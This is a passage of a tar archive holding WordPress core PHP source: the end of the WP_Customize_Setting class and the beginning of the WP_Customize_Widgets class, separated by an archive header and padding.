$is_multidimensional ) { add_filter( "theme_mod_{$id_base}", array( $this, '_preview_filter' ) ); } else { if ( empty( self::$aggregated_multidimensionals[ $this->type ][ $id_base ]['previewed_instances'] ) ) { // Only add this filter once for this ID base. add_filter( "theme_mod_{$id_base}", $multidimensional_filter ); } self::$aggregated_multidimensionals[ $this->type ][ $id_base ]['previewed_instances'][ $this->id ] = $this; } break; case 'option': if ( ! $is_multidimensional ) { add_filter( "pre_option_{$id_base}", array( $this, '_preview_filter' ) ); } else { if ( empty( self::$aggregated_multidimensionals[ $this->type ][ $id_base ]['previewed_instances'] ) ) { // Only add these filters once for this ID base. add_filter( "option_{$id_base}", $multidimensional_filter ); add_filter( "default_option_{$id_base}", $multidimensional_filter ); } self::$aggregated_multidimensionals[ $this->type ][ $id_base ]['previewed_instances'][ $this->id ] = $this; } break; default: /** * Fires when the WP_Customize_Setting::preview() method is called for settings * not handled as theme_mods or options. * * The dynamic portion of the hook name, `$this->id`, refers to the setting ID. * * @since 3.4.0 * * @param WP_Customize_Setting $this WP_Customize_Setting instance. */ do_action( "customize_preview_{$this->id}", $this ); /** * Fires when the WP_Customize_Setting::preview() method is called for settings * not handled as theme_mods or options. * * The dynamic portion of the hook name, `$this->type`, refers to the setting type. * * @since 4.1.0 * * @param WP_Customize_Setting $this WP_Customize_Setting instance. */ do_action( "customize_preview_{$this->type}", $this ); } $this->is_previewed = true; return true; } /** * Clear out the previewed-applied flag for a multidimensional-aggregated value whenever its post value is updated. * * This ensures that the new value will get sanitized and used the next time * that `WP_Customize_Setting::_multidimensional_preview_filter()` * is called for this setting. * * @since 4.4.0 * * @see WP_Customize_Manager::set_post_value() * @see WP_Customize_Setting::_multidimensional_preview_filter() */ final public function _clear_aggregated_multidimensional_preview_applied_flag() { unset( self::$aggregated_multidimensionals[ $this->type ][ $this->id_data['base'] ]['preview_applied_instances'][ $this->id ] ); } /** * Callback function to filter non-multidimensional theme mods and options. * * If switch_to_blog() was called after the preview() method, and the current * site is now not the same site, then this method does a no-op and returns * the original value. * * @since 3.4.0 * * @param mixed $original Old value. * @return mixed New or old value. */ public function _preview_filter( $original ) { if ( ! $this->is_current_blog_previewed() ) { return $original; } $undefined = new stdClass(); // Symbol hack. $post_value = $this->post_value( $undefined ); if ( $undefined !== $post_value ) { $value = $post_value; } else { /* * Note that we don't use $original here because preview() will * not add the filter in the first place if it has an initial value * and there is no post value. */ $value = $this->default; } return $value; } /** * Callback function to filter multidimensional theme mods and options. * * For all multidimensional settings of a given type, the preview filter for * the first setting previewed will be used to apply the values for the others. * * @since 4.4.0 * * @see WP_Customize_Setting::$aggregated_multidimensionals * @param mixed $original Original root value. * @return mixed New or old value. */ final public function _multidimensional_preview_filter( $original ) { if ( ! $this->is_current_blog_previewed() ) { return $original; } $id_base = $this->id_data['base']; // If no settings have been previewed yet (which should not be the case, since $this is), just pass through the original value. if ( empty( self::$aggregated_multidimensionals[ $this->type ][ $id_base ]['previewed_instances'] ) ) { return $original; } foreach ( self::$aggregated_multidimensionals[ $this->type ][ $id_base ]['previewed_instances'] as $previewed_setting ) { // Skip applying previewed value for any settings that have already been applied. if ( ! empty( self::$aggregated_multidimensionals[ $this->type ][ $id_base ]['preview_applied_instances'][ $previewed_setting->id ] ) ) { continue; } // Do the replacements of the posted/default sub value into the root value. $value = $previewed_setting->post_value( $previewed_setting->default ); $root = self::$aggregated_multidimensionals[ $previewed_setting->type ][ $id_base ]['root_value']; $root = $previewed_setting->multidimensional_replace( $root, $previewed_setting->id_data['keys'], $value ); self::$aggregated_multidimensionals[ $previewed_setting->type ][ $id_base ]['root_value'] = $root; // Mark this setting having been applied so that it will be skipped when the filter is called again. self::$aggregated_multidimensionals[ $previewed_setting->type ][ $id_base ]['preview_applied_instances'][ $previewed_setting->id ] = true; } return self::$aggregated_multidimensionals[ $this->type ][ $id_base ]['root_value']; } /** * Checks user capabilities and theme supports, and then saves * the value of the setting. * * @since 3.4.0 * * @return void|false Void on success, false if cap check fails * or value isn't set or is invalid. */ final public function save() { $value = $this->post_value(); if ( ! $this->check_capabilities() || ! isset( $value ) ) { return false; } $id_base = $this->id_data['base']; /** * Fires when the WP_Customize_Setting::save() method is called. * * The dynamic portion of the hook name, `$id_base` refers to * the base slug of the setting name. * * @since 3.4.0 * * @param WP_Customize_Setting $this WP_Customize_Setting instance. */ do_action( "customize_save_{$id_base}", $this ); $this->update( $value ); } /** * Fetch and sanitize the $_POST value for the setting. * * During a save request prior to save, post_value() provides the new value while value() does not. * * @since 3.4.0 * * @param mixed $default A default value which is used as a fallback. Default null. * @return mixed The default value on failure, otherwise the sanitized and validated value. */ final public function post_value( $default = null ) { return $this->manager->post_value( $this, $default ); } /** * Sanitize an input. * * @since 3.4.0 * * @param string|array $value The value to sanitize. * @return string|array|null|WP_Error Sanitized value, or `null`/`WP_Error` if invalid. */ public function sanitize( $value ) { /** * Filters a Customize setting value in un-slashed form. * * @since 3.4.0 * * @param mixed $value Value of the setting. * @param WP_Customize_Setting $this WP_Customize_Setting instance. */ return apply_filters( "customize_sanitize_{$this->id}", $value, $this ); } /** * Validates an input. * * @since 4.6.0 * * @see WP_REST_Request::has_valid_params() * * @param mixed $value Value to validate. * @return true|WP_Error True if the input was validated, otherwise WP_Error. */ public function validate( $value ) { if ( is_wp_error( $value ) ) { return $value; } if ( is_null( $value ) ) { return new WP_Error( 'invalid_value', __( 'Invalid value.' ) ); } $validity = new WP_Error(); /** * Validates a Customize setting value. * * Plugins should amend the `$validity` object via its `WP_Error::add()` method. * * The dynamic portion of the hook name, `$this->ID`, refers to the setting ID. * * @since 4.6.0 * * @param WP_Error $validity Filtered from `true` to `WP_Error` when invalid. * @param mixed $value Value of the setting. * @param WP_Customize_Setting $setting WP_Customize_Setting instance. */ $validity = apply_filters( "customize_validate_{$this->id}", $validity, $value, $this ); if ( is_wp_error( $validity ) && ! $validity->has_errors() ) { $validity = true; } return $validity; } /** * Get the root value for a setting, especially for multidimensional ones. * * @since 4.4.0 * * @param mixed $default Value to return if root does not exist. * @return mixed */ protected function get_root_value( $default = null ) { $id_base = $this->id_data['base']; if ( 'option' === $this->type ) { return get_option( $id_base, $default ); } elseif ( 'theme_mod' === $this->type ) { return get_theme_mod( $id_base, $default ); } else { /* * Any WP_Customize_Setting subclass implementing aggregate multidimensional * will need to override this method to obtain the data from the appropriate * location. */ return $default; } } /** * Set the root value for a setting, especially for multidimensional ones. * * @since 4.4.0 * * @param mixed $value Value to set as root of multidimensional setting. * @return bool Whether the multidimensional root was updated successfully. */ protected function set_root_value( $value ) { $id_base = $this->id_data['base']; if ( 'option' === $this->type ) { $autoload = true; if ( isset( self::$aggregated_multidimensionals[ $this->type ][ $this->id_data['base'] ]['autoload'] ) ) { $autoload = self::$aggregated_multidimensionals[ $this->type ][ $this->id_data['base'] ]['autoload']; } return update_option( $id_base, $value, $autoload ); } elseif ( 'theme_mod' === $this->type ) { set_theme_mod( $id_base, $value ); return true; } else { /* * Any WP_Customize_Setting subclass implementing aggregate multidimensional * will need to override this method to obtain the data from the appropriate * location. */ return false; } } /** * Save the value of the setting, using the related API. * * @since 3.4.0 * * @param mixed $value The value to update. * @return bool The result of saving the value. */ protected function update( $value ) { $id_base = $this->id_data['base']; if ( 'option' === $this->type || 'theme_mod' === $this->type ) { if ( ! $this->is_multidimensional_aggregated ) { return $this->set_root_value( $value ); } else { $root = self::$aggregated_multidimensionals[ $this->type ][ $id_base ]['root_value']; $root = $this->multidimensional_replace( $root, $this->id_data['keys'], $value ); self::$aggregated_multidimensionals[ $this->type ][ $id_base ]['root_value'] = $root; return $this->set_root_value( $root ); } } else { /** * Fires when the WP_Customize_Setting::update() method is called for settings * not handled as theme_mods or options. * * The dynamic portion of the hook name, `$this->type`, refers to the type of setting. * * @since 3.4.0 * * @param mixed $value Value of the setting. * @param WP_Customize_Setting $this WP_Customize_Setting instance. */ do_action( "customize_update_{$this->type}", $value, $this ); return has_action( "customize_update_{$this->type}" ); } } /** * Deprecated method. * * @since 3.4.0 * @deprecated 4.4.0 Deprecated in favor of update() method. */ protected function _update_theme_mod() { _deprecated_function( __METHOD__, '4.4.0', __CLASS__ . '::update()' ); } /** * Deprecated method. * * @since 3.4.0 * @deprecated 4.4.0 Deprecated in favor of update() method. */ protected function _update_option() { _deprecated_function( __METHOD__, '4.4.0', __CLASS__ . '::update()' ); } /** * Fetch the value of the setting. * * @since 3.4.0 * * @return mixed The value. */ public function value() { $id_base = $this->id_data['base']; $is_core_type = ( 'option' === $this->type || 'theme_mod' === $this->type ); if ( ! $is_core_type && ! $this->is_multidimensional_aggregated ) { // Use post value if previewed and a post value is present. if ( $this->is_previewed ) { $value = $this->post_value( null ); if ( null !== $value ) { return $value; } } $value = $this->get_root_value( $this->default ); /** * Filters a Customize setting value not handled as a theme_mod or option. * * The dynamic portion of the hook name, `$id_base`, refers to * the base slug of the setting name, initialized from `$this->id_data['base']`. * * For settings handled as theme_mods or options, see those corresponding * functions for available hooks. * * @since 3.4.0 * @since 4.6.0 Added the `$this` setting instance as the second parameter. * * @param mixed $default The setting default value. Default empty. * @param WP_Customize_Setting $setting The setting instance. */ $value = apply_filters( "customize_value_{$id_base}", $value, $this ); } elseif ( $this->is_multidimensional_aggregated ) { $root_value = self::$aggregated_multidimensionals[ $this->type ][ $id_base ]['root_value']; $value = $this->multidimensional_get( $root_value, $this->id_data['keys'], $this->default ); // Ensure that the post value is used if the setting is previewed, since preview filters aren't applying on cached $root_value. if ( $this->is_previewed ) { $value = $this->post_value( $value ); } } else { $value = $this->get_root_value( $this->default ); } return $value; } /** * Sanitize the setting's value for use in JavaScript. * * @since 3.4.0 * * @return mixed The requested escaped value. */ public function js_value() { /** * Filters a Customize setting value for use in JavaScript. * * The dynamic portion of the hook name, `$this->id`, refers to the setting ID. * * @since 3.4.0 * * @param mixed $value The setting value. * @param WP_Customize_Setting $setting WP_Customize_Setting instance. */ $value = apply_filters( "customize_sanitize_js_{$this->id}", $this->value(), $this ); if ( is_string( $value ) ) { return html_entity_decode( $value, ENT_QUOTES, 'UTF-8' ); } return $value; } /** * Retrieves the data to export to the client via JSON. * * @since 4.6.0 * * @return array Array of parameters passed to JavaScript. */ public function json() { return array( 'value' => $this->js_value(), 'transport' => $this->transport, 'dirty' => $this->dirty, 'type' => $this->type, ); } /** * Validate user capabilities whether the theme supports the setting. * * @since 3.4.0 * * @return bool False if theme doesn't support the setting or user can't change setting, otherwise true. */ final public function check_capabilities() { if ( $this->capability && ! current_user_can( $this->capability ) ) { return false; } if ( $this->theme_supports && ! current_theme_supports( ... (array) $this->theme_supports ) ) { return false; } return true; } /** * Multidimensional helper function. * * @since 3.4.0 * * @param array $root * @param array $keys * @param bool $create Default false. * @return array|void Keys are 'root', 'node', and 'key'. */ final protected function multidimensional( &$root, $keys, $create = false ) { if ( $create && empty( $root ) ) { $root = array(); } if ( ! isset( $root ) || empty( $keys ) ) { return; } $last = array_pop( $keys ); $node = &$root; foreach ( $keys as $key ) { if ( $create && ! isset( $node[ $key ] ) ) { $node[ $key ] = array(); } if ( ! is_array( $node ) || ! isset( $node[ $key ] ) ) { return; } $node = &$node[ $key ]; } if ( $create ) { if ( ! is_array( $node ) ) { // Account for an array overriding a string or object value. $node = array(); } if ( ! isset( $node[ $last ] ) ) { $node[ $last ] = array(); } } if ( ! isset( $node[ $last ] ) ) { return; } return array( 'root' => &$root, 'node' => &$node, 'key' => $last, ); } /** * Will attempt to replace a specific value in a multidimensional array. * * @since 3.4.0 * * @param array $root * @param array $keys * @param mixed $value The value to update. * @return mixed */ final protected function multidimensional_replace( $root, $keys, $value ) { if ( ! isset( $value ) ) { return $root; } elseif ( empty( $keys ) ) { // If there are no keys, we're replacing the root. return $value; } $result = $this->multidimensional( $root, $keys, true ); if ( isset( $result ) ) { $result['node'][ $result['key'] ] = $value; } return $root; } /** * Will attempt to fetch a specific value from a multidimensional array. * * @since 3.4.0 * * @param array $root * @param array $keys * @param mixed $default A default value which is used as a fallback. Default null. * @return mixed The requested value or the default value. */ final protected function multidimensional_get( $root, $keys, $default = null ) { if ( empty( $keys ) ) { // If there are no keys, test the root. return isset( $root ) ? $root : $default; } $result = $this->multidimensional( $root, $keys ); return isset( $result ) ? $result['node'][ $result['key'] ] : $default; } /** * Will attempt to check if a specific value in a multidimensional array is set. * * @since 3.4.0 * * @param array $root * @param array $keys * @return bool True if value is set, false if not. */ final protected function multidimensional_isset( $root, $keys ) { $result = $this->multidimensional_get( $root, $keys ); return isset( $result ); } } /** * WP_Customize_Filter_Setting class. */ require_once ABSPATH . WPINC . '/customize/class-wp-customize-filter-setting.php'; /** * WP_Customize_Header_Image_Setting class. */ require_once ABSPATH . WPINC . '/customize/class-wp-customize-header-image-setting.php'; /** * WP_Customize_Background_Image_Setting class. */ require_once ABSPATH . WPINC . '/customize/class-wp-customize-background-image-setting.php'; /** * WP_Customize_Nav_Menu_Item_Setting class. */ require_once ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-item-setting.php'; /** * WP_Customize_Nav_Menu_Setting class. */ require_once ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-setting.php'; ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-customize-widgets.php����������������������������������������������������������������������0000644�����������������00000202703�15120262030�0012465 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * WordPress Customize Widgets classes * * @package WordPress * @subpackage Customize * @since 3.9.0 */ /** * Customize Widgets class. * * Implements widget management in the Customizer. * * @since 3.9.0 * * @see WP_Customize_Manager */ final class WP_Customize_Widgets { /** * WP_Customize_Manager instance. * * @since 3.9.0 * @var WP_Customize_Manager */ public $manager; /** * All id_bases for widgets defined in core. * * @since 3.9.0 * @var array */ protected $core_widget_id_bases = array( 'archives', 'calendar', 'categories', 'custom_html', 'links', 'media_audio', 'media_image', 'media_video', 'meta', 'nav_menu', 'pages', 'recent-comments', 'recent-posts', 'rss', 'search', 'tag_cloud', 'text', ); /** * @since 3.9.0 * @var array */ protected $rendered_sidebars = array(); /** * @since 3.9.0 * @var array */ protected $rendered_widgets = array(); /** * @since 3.9.0 * @var array */ protected $old_sidebars_widgets = array(); /** * Mapping of widget ID base to whether it supports selective refresh. * * @since 4.5.0 * @var array */ protected $selective_refreshable_widgets; /** * Mapping of setting type to setting ID pattern. * * @since 4.2.0 * @var array */ protected $setting_id_patterns = array( 'widget_instance' => '/^widget_(?P<id_base>.+?)(?:\[(?P<widget_number>\d+)\])?$/', 'sidebar_widgets' => '/^sidebars_widgets\[(?P<sidebar_id>.+?)\]$/', ); /** * Initial loader. * * @since 3.9.0 * * @param WP_Customize_Manager $manager Customizer bootstrap instance. */ public function __construct( $manager ) { $this->manager = $manager; // See https://github.com/xwp/wp-customize-snapshots/blob/962586659688a5b1fd9ae93618b7ce2d4e7a421c/php/class-customize-snapshot-manager.php#L420-L449 add_filter( 'customize_dynamic_setting_args', array( $this, 'filter_customize_dynamic_setting_args' ), 10, 2 ); add_action( 'widgets_init', array( $this, 'register_settings' ), 95 ); add_action( 'customize_register', array( $this, 'schedule_customize_register' ), 1 ); // Skip remaining hooks when the user can't manage widgets anyway. if ( ! current_user_can( 'edit_theme_options' ) ) { return; } add_action( 'wp_loaded', array( $this, 'override_sidebars_widgets_for_theme_switch' ) ); add_action( 'customize_controls_init', array( $this, 'customize_controls_init' ) ); add_action( 'customize_controls_enqueue_scripts', array( $this, 'enqueue_scripts' ) ); add_action( 'customize_controls_print_styles', array( $this, 'print_styles' ) ); add_action( 'customize_controls_print_scripts', array( $this, 'print_scripts' ) ); add_action( 'customize_controls_print_footer_scripts', array( $this, 'print_footer_scripts' ) ); add_action( 'customize_controls_print_footer_scripts', array( $this, 'output_widget_control_templates' ) ); add_action( 'customize_preview_init', array( $this, 'customize_preview_init' ) ); add_filter( 'customize_refresh_nonces', array( $this, 'refresh_nonces' ) ); add_action( 'dynamic_sidebar', array( $this, 'tally_rendered_widgets' ) ); add_filter( 'is_active_sidebar', array( $this, 'tally_sidebars_via_is_active_sidebar_calls' ), 10, 2 ); add_filter( 'dynamic_sidebar_has_widgets', array( $this, 'tally_sidebars_via_dynamic_sidebar_calls' ), 10, 2 ); // Selective Refresh. add_filter( 'customize_dynamic_partial_args', array( $this, 'customize_dynamic_partial_args' ), 10, 2 ); add_action( 'customize_preview_init', array( $this, 'selective_refresh_init' ) ); } /** * List whether each registered widget can be use selective refresh. * * If the theme does not support the customize-selective-refresh-widgets feature, * then this will always return an empty array. * * @since 4.5.0 * * @global WP_Widget_Factory $wp_widget_factory * * @return array Mapping of id_base to support. If theme doesn't support * selective refresh, an empty array is returned. */ public function get_selective_refreshable_widgets() { global $wp_widget_factory; if ( ! current_theme_supports( 'customize-selective-refresh-widgets' ) ) { return array(); } if ( ! isset( $this->selective_refreshable_widgets ) ) { $this->selective_refreshable_widgets = array(); foreach ( $wp_widget_factory->widgets as $wp_widget ) { $this->selective_refreshable_widgets[ $wp_widget->id_base ] = ! empty( $wp_widget->widget_options['customize_selective_refresh'] ); } } return $this->selective_refreshable_widgets; } /** * Determines if a widget supports selective refresh. * * @since 4.5.0 * * @param string $id_base Widget ID Base. * @return bool Whether the widget can be selective refreshed. */ public function is_widget_selective_refreshable( $id_base ) { $selective_refreshable_widgets = $this->get_selective_refreshable_widgets(); return ! empty( $selective_refreshable_widgets[ $id_base ] ); } /** * Retrieves the widget setting type given a setting ID. * * @since 4.2.0 * * @param string $setting_id Setting ID. * @return string|void Setting type. */ protected function get_setting_type( $setting_id ) { static $cache = array(); if ( isset( $cache[ $setting_id ] ) ) { return $cache[ $setting_id ]; } foreach ( $this->setting_id_patterns as $type => $pattern ) { if ( preg_match( $pattern, $setting_id ) ) { $cache[ $setting_id ] = $type; return $type; } } } /** * Inspects the incoming customized data for any widget settings, and dynamically adds * them up-front so widgets will be initialized properly. * * @since 4.2.0 */ public function register_settings() { $widget_setting_ids = array(); $incoming_setting_ids = array_keys( $this->manager->unsanitized_post_values() ); foreach ( $incoming_setting_ids as $setting_id ) { if ( ! is_null( $this->get_setting_type( $setting_id ) ) ) { $widget_setting_ids[] = $setting_id; } } if ( $this->manager->doing_ajax( 'update-widget' ) && isset( $_REQUEST['widget-id'] ) ) { $widget_setting_ids[] = $this->get_setting_id( wp_unslash( $_REQUEST['widget-id'] ) ); } $settings = $this->manager->add_dynamic_settings( array_unique( $widget_setting_ids ) ); if ( $this->manager->settings_previewed() ) { foreach ( $settings as $setting ) { $setting->preview(); } } } /** * Determines the arguments for a dynamically-created setting. * * @since 4.2.0 * * @param false|array $args The arguments to the WP_Customize_Setting constructor. * @param string $setting_id ID for dynamic setting, usually coming from `$_POST['customized']`. * @return array|false Setting arguments, false otherwise. */ public function filter_customize_dynamic_setting_args( $args, $setting_id ) { if ( $this->get_setting_type( $setting_id ) ) { $args = $this->get_setting_args( $setting_id ); } return $args; } /** * Retrieves an unslashed post value or return a default. * * @since 3.9.0 * * @param string $name Post value. * @param mixed $default Default post value. * @return mixed Unslashed post value or default value. */ protected function get_post_value( $name, $default = null ) { if ( ! isset( $_POST[ $name ] ) ) { return $default; } return wp_unslash( $_POST[ $name ] ); } /** * Override sidebars_widgets for theme switch. * * When switching a theme via the Customizer, supply any previously-configured * sidebars_widgets from the target theme as the initial sidebars_widgets * setting. Also store the old theme's existing settings so that they can * be passed along for storing in the sidebars_widgets theme_mod when the * theme gets switched. * * @since 3.9.0 * * @global array $sidebars_widgets * @global array $_wp_sidebars_widgets */ public function override_sidebars_widgets_for_theme_switch() { global $sidebars_widgets; if ( $this->manager->doing_ajax() || $this->manager->is_theme_active() ) { return; } $this->old_sidebars_widgets = wp_get_sidebars_widgets(); add_filter( 'customize_value_old_sidebars_widgets_data', array( $this, 'filter_customize_value_old_sidebars_widgets_data' ) ); $this->manager->set_post_value( 'old_sidebars_widgets_data', $this->old_sidebars_widgets ); // Override any value cached in changeset. // retrieve_widgets() looks at the global $sidebars_widgets. $sidebars_widgets = $this->old_sidebars_widgets; $sidebars_widgets = retrieve_widgets( 'customize' ); add_filter( 'option_sidebars_widgets', array( $this, 'filter_option_sidebars_widgets_for_theme_switch' ), 1 ); // Reset global cache var used by wp_get_sidebars_widgets(). unset( $GLOBALS['_wp_sidebars_widgets'] ); } /** * Filters old_sidebars_widgets_data Customizer setting. * * When switching themes, filter the Customizer setting old_sidebars_widgets_data * to supply initial $sidebars_widgets before they were overridden by retrieve_widgets(). * The value for old_sidebars_widgets_data gets set in the old theme's sidebars_widgets * theme_mod. * * @since 3.9.0 * * @see WP_Customize_Widgets::handle_theme_switch() * * @param array $old_sidebars_widgets * @return array */ public function filter_customize_value_old_sidebars_widgets_data( $old_sidebars_widgets ) { return $this->old_sidebars_widgets; } /** * Filters sidebars_widgets option for theme switch. * * When switching themes, the retrieve_widgets() function is run when the Customizer initializes, * and then the new sidebars_widgets here get supplied as the default value for the sidebars_widgets * option. * * @since 3.9.0 * * @see WP_Customize_Widgets::handle_theme_switch() * @global array $sidebars_widgets * * @param array $sidebars_widgets * @return array */ public function filter_option_sidebars_widgets_for_theme_switch( $sidebars_widgets ) { $sidebars_widgets = $GLOBALS['sidebars_widgets']; $sidebars_widgets['array_version'] = 3; return $sidebars_widgets; } /** * Ensures all widgets get loaded into the Customizer. * * Note: these actions are also fired in wp_ajax_update_widget(). * * @since 3.9.0 */ public function customize_controls_init() { /** This action is documented in wp-admin/includes/ajax-actions.php */ do_action( 'load-widgets.php' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores /** This action is documented in wp-admin/includes/ajax-actions.php */ do_action( 'widgets.php' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores /** This action is documented in wp-admin/widgets.php */ do_action( 'sidebar_admin_setup' ); } /** * Ensures widgets are available for all types of previews. * * When in preview, hook to {@see 'customize_register'} for settings after WordPress is loaded * so that all filters have been initialized (e.g. Widget Visibility). * * @since 3.9.0 */ public function schedule_customize_register() { if ( is_admin() ) { $this->customize_register(); } else { add_action( 'wp', array( $this, 'customize_register' ) ); } } /** * Registers Customizer settings and controls for all sidebars and widgets. * * @since 3.9.0 * * @global array $wp_registered_widgets * @global array $wp_registered_widget_controls * @global array $wp_registered_sidebars */ public function customize_register() { global $wp_registered_widgets, $wp_registered_widget_controls, $wp_registered_sidebars; add_filter( 'sidebars_widgets', array( $this, 'preview_sidebars_widgets' ), 1 ); $sidebars_widgets = array_merge( array( 'wp_inactive_widgets' => array() ), array_fill_keys( array_keys( $wp_registered_sidebars ), array() ), wp_get_sidebars_widgets() ); $new_setting_ids = array(); /* * Register a setting for all widgets, including those which are active, * inactive, and orphaned since a widget may get suppressed from a sidebar * via a plugin (like Widget Visibility). */ foreach ( array_keys( $wp_registered_widgets ) as $widget_id ) { $setting_id = $this->get_setting_id( $widget_id ); $setting_args = $this->get_setting_args( $setting_id ); if ( ! $this->manager->get_setting( $setting_id ) ) { $this->manager->add_setting( $setting_id, $setting_args ); } $new_setting_ids[] = $setting_id; } /* * Add a setting which will be supplied for the theme's sidebars_widgets * theme_mod when the theme is switched. */ if ( ! $this->manager->is_theme_active() ) { $setting_id = 'old_sidebars_widgets_data'; $setting_args = $this->get_setting_args( $setting_id, array( 'type' => 'global_variable', 'dirty' => true, ) ); $this->manager->add_setting( $setting_id, $setting_args ); } $this->manager->add_panel( 'widgets', array( 'type' => 'widgets', 'title' => __( 'Widgets' ), 'description' => __( 'Widgets are independent sections of content that can be placed into widgetized areas provided by your theme (commonly called sidebars).' ), 'priority' => 110, 'active_callback' => array( $this, 'is_panel_active' ), 'auto_expand_sole_section' => true, ) ); foreach ( $sidebars_widgets as $sidebar_id => $sidebar_widget_ids ) { if ( empty( $sidebar_widget_ids ) ) { $sidebar_widget_ids = array(); } $is_registered_sidebar = is_registered_sidebar( $sidebar_id ); $is_inactive_widgets = ( 'wp_inactive_widgets' === $sidebar_id ); $is_active_sidebar = ( $is_registered_sidebar && ! $is_inactive_widgets ); // Add setting for managing the sidebar's widgets. if ( $is_registered_sidebar || $is_inactive_widgets ) { $setting_id = sprintf( 'sidebars_widgets[%s]', $sidebar_id ); $setting_args = $this->get_setting_args( $setting_id ); if ( ! $this->manager->get_setting( $setting_id ) ) { if ( ! $this->manager->is_theme_active() ) { $setting_args['dirty'] = true; } $this->manager->add_setting( $setting_id, $setting_args ); } $new_setting_ids[] = $setting_id; // Add section to contain controls. $section_id = sprintf( 'sidebar-widgets-%s', $sidebar_id ); if ( $is_active_sidebar ) { $section_args = array( 'title' => $wp_registered_sidebars[ $sidebar_id ]['name'], 'description' => $wp_registered_sidebars[ $sidebar_id ]['description'], 'priority' => array_search( $sidebar_id, array_keys( $wp_registered_sidebars ), true ), 'panel' => 'widgets', 'sidebar_id' => $sidebar_id, ); /** * Filters Customizer widget section arguments for a given sidebar. * * @since 3.9.0 * * @param array $section_args Array of Customizer widget section arguments. * @param string $section_id Customizer section ID. * @param int|string $sidebar_id Sidebar ID. */ $section_args = apply_filters( 'customizer_widgets_section_args', $section_args, $section_id, $sidebar_id ); $section = new WP_Customize_Sidebar_Section( $this->manager, $section_id, $section_args ); $this->manager->add_section( $section ); $control = new WP_Widget_Area_Customize_Control( $this->manager, $setting_id, array( 'section' => $section_id, 'sidebar_id' => $sidebar_id, 'priority' => count( $sidebar_widget_ids ), // place 'Add Widget' and 'Reorder' buttons at end. ) ); $new_setting_ids[] = $setting_id; $this->manager->add_control( $control ); } } // Add a control for each active widget (located in a sidebar). foreach ( $sidebar_widget_ids as $i => $widget_id ) { // Skip widgets that may have gone away due to a plugin being deactivated. if ( ! $is_active_sidebar || ! isset( $wp_registered_widgets[ $widget_id ] ) ) { continue; } $registered_widget = $wp_registered_widgets[ $widget_id ]; $setting_id = $this->get_setting_id( $widget_id ); $id_base = $wp_registered_widget_controls[ $widget_id ]['id_base']; $control = new WP_Widget_Form_Customize_Control( $this->manager, $setting_id, array( 'label' => $registered_widget['name'], 'section' => $section_id, 'sidebar_id' => $sidebar_id, 'widget_id' => $widget_id, 'widget_id_base' => $id_base, 'priority' => $i, 'width' => $wp_registered_widget_controls[ $widget_id ]['width'], 'height' => $wp_registered_widget_controls[ $widget_id ]['height'], 'is_wide' => $this->is_wide_widget( $widget_id ), ) ); $this->manager->add_control( $control ); } } if ( $this->manager->settings_previewed() ) { foreach ( $new_setting_ids as $new_setting_id ) { $this->manager->get_setting( $new_setting_id )->preview(); } } } /** * Determines whether the widgets panel is active, based on whether there are sidebars registered. * * @since 4.4.0 * * @see WP_Customize_Panel::$active_callback * * @global array $wp_registered_sidebars * @return bool Active. */ public function is_panel_active() { global $wp_registered_sidebars; return ! empty( $wp_registered_sidebars ); } /** * Converts a widget_id into its corresponding Customizer setting ID (option name). * * @since 3.9.0 * * @param string $widget_id Widget ID. * @return string Maybe-parsed widget ID. */ public function get_setting_id( $widget_id ) { $parsed_widget_id = $this->parse_widget_id( $widget_id ); $setting_id = sprintf( 'widget_%s', $parsed_widget_id['id_base'] ); if ( ! is_null( $parsed_widget_id['number'] ) ) { $setting_id .= sprintf( '[%d]', $parsed_widget_id['number'] ); } return $setting_id; } /** * Determines whether the widget is considered "wide". * * Core widgets which may have controls wider than 250, but can still be shown * in the narrow Customizer panel. The RSS and Text widgets in Core, for example, * have widths of 400 and yet they still render fine in the Customizer panel. * * This method will return all Core widgets as being not wide, but this can be * overridden with the {@see 'is_wide_widget_in_customizer'} filter. * * @since 3.9.0 * * @global array $wp_registered_widget_controls * * @param string $widget_id Widget ID. * @return bool Whether or not the widget is a "wide" widget. */ public function is_wide_widget( $widget_id ) { global $wp_registered_widget_controls; $parsed_widget_id = $this->parse_widget_id( $widget_id ); $width = $wp_registered_widget_controls[ $widget_id ]['width']; $is_core = in_array( $parsed_widget_id['id_base'], $this->core_widget_id_bases, true ); $is_wide = ( $width > 250 && ! $is_core ); /** * Filters whether the given widget is considered "wide". * * @since 3.9.0 * * @param bool $is_wide Whether the widget is wide, Default false. * @param string $widget_id Widget ID. */ return apply_filters( 'is_wide_widget_in_customizer', $is_wide, $widget_id ); } /** * Converts a widget ID into its id_base and number components. * * @since 3.9.0 * * @param string $widget_id Widget ID. * @return array Array containing a widget's id_base and number components. */ public function parse_widget_id( $widget_id ) { $parsed = array( 'number' => null, 'id_base' => null, ); if ( preg_match( '/^(.+)-(\d+)$/', $widget_id, $matches ) ) { $parsed['id_base'] = $matches[1]; $parsed['number'] = (int) $matches[2]; } else { // Likely an old single widget. $parsed['id_base'] = $widget_id; } return $parsed; } /** * Converts a widget setting ID (option path) to its id_base and number components. * * @since 3.9.0 * * @param string $setting_id Widget setting ID. * @return array|WP_Error Array containing a widget's id_base and number components, * or a WP_Error object. */ public function parse_widget_setting_id( $setting_id ) { if ( ! preg_match( '/^(widget_(.+?))(?:\[(\d+)\])?$/', $setting_id, $matches ) ) { return new WP_Error( 'widget_setting_invalid_id' ); } $id_base = $matches[2]; $number = isset( $matches[3] ) ? (int) $matches[3] : null; return compact( 'id_base', 'number' ); } /** * Calls admin_print_styles-widgets.php and admin_print_styles hooks to * allow custom styles from plugins. * * @since 3.9.0 */ public function print_styles() { /** This action is documented in wp-admin/admin-header.php */ do_action( 'admin_print_styles-widgets.php' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores /** This action is documented in wp-admin/admin-header.php */ do_action( 'admin_print_styles' ); } /** * Calls admin_print_scripts-widgets.php and admin_print_scripts hooks to * allow custom scripts from plugins. * * @since 3.9.0 */ public function print_scripts() { /** This action is documented in wp-admin/admin-header.php */ do_action( 